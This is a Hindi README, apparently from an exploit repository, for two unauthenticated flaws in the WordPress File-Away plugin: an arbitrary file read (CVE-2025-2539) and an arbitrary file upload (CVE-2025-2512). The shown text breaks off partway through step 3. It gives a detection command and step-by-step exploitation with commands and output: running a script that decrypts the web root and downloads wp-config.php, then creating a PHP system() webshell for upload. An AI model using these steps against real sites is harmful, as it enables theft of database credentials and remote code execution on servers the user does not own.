File-Away एक्सप्लॉइट (CVE-2025-2539 और CVE-2025-2512)

=================================================

📌 उद्देश्य

यह रिपॉजिटरी File-Away पर पाई गई भेद्यताओं और स्क्रिप्ट्स का विवरण रखती है, जो फ़ाइल प्रबंधन के लिए उपयोग किया जाने वाला WordPress प्लगइन है।

इस प्लगइन में दो भेद्यताएँ हैं जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जा सकती हैं (File-Away 3.9.9.0.1 पर परीक्षण किया गया):

• CVE-2025-2539: बिना प्रमाणीकरण के मनमाना फ़ाइल पठन
• CVE-2025-2512: बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड

📖 बिना प्रमाणीकरण के मनमाना फ़ाइल पठन

WordPress के लिए File-Away प्लगइन, संस्करण 3.9.9.0.1 तक (इस संस्करण सहित) सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल पठन की भेद्यता से ग्रस्त है।

यह भेद्यता दो समस्याओं के कारण मौजूद है: lib/cls/class.fileaway_stats.php:file_away_stats->ajax() फ़ंक्शन में प्रमाणीकरण सत्यापन की कमी, और lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt() फ़ंक्शन में एक कमज़ोर एन्क्रिप्शन एल्गोरिथम का उपयोग।

यह बिना प्रमाणीकरण वाले हमलावरों के लिए WordPress कॉन्फ़िगरेशन फ़ाइल (wp-config.php) सहित मनमानी फ़ाइलों को पढ़ना संभव बनाता है।

📁 बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड

WordPress के लिए File-Away प्लगइन, संस्करण 3.9.9.0.1 तक (इस संस्करण सहित) सभी संस्करणों में बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड की भेद्यता से ग्रस्त है।

यह भेद्यता दो समस्याओं के कारण मौजूद है: प्रमाणीकरण सत्यापन की कमी और खराब फ़ाइल प्रकार सत्यापन, दोनों lib/cls/class.fileaway_management.php:fileaway_management->upload() फ़ंक्शन में।

यह बिना प्रमाणीकरण वाले हमलावरों के लिए मनमानी फ़ाइलें अपलोड करना संभव बनाता है, जो कोड एक्ज़ीक्यूशन की ओर ले जा सकती हैं।

🔍 डिटेक्शन

यदि लक्षित WordPress इंस्टेंस पर file-away प्लगइन स्थापित और सक्षम है, तो fileaway_stats नोंस इंडेक्स पेज पर मौजूद होना चाहिए:

curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'

var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};

🐞 एक्सप्लॉइटेशन के चरण

0. python आवश्यकताएँ स्थापित करें:

   root@kitploit:~

   python3 -m venv venv && venv/bin/pip install httpx
   

1. WordPress इंस्टेंस की कॉन्फ़िगरेशन फ़ाइल (wp-config.php) प्राप्त करने के लिए मनमाना फ़ाइल पठन भेद्यता का उपयोग करें:

   root@kitploit:~

   venv/bin/python3 get_config.py -t http://127.0.0.1:8000
   

   root@kitploit:~

   [+] File-Away nonce:          ff57064c96
   [-] Encrypted web root:       LcZh3iec7c3vfHRt2C8=
   [-] Decoder:                  .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
   [-] Charset:                  abcdefghijklmnopqrstuvwxyz0123456789
   [+] Encryption Key:           f2379aghijklmnopqrstuvwxyz65bc410d8e
   [+] Decrypted web root:       /var/www/html
   [+] Config file downloaded:   127.0.0.1:8000_wp-config.php
   

2. अपलोड करने के लिए एक PHP फ़ाइल बनाएँ:

   root@kitploit:~

   echo '<?php system("id"); ?>' > /tmp/exec.php
   

3. सर्वर पर PHP फ़ाइल अपलोड करने के लिए का उपयोग करें: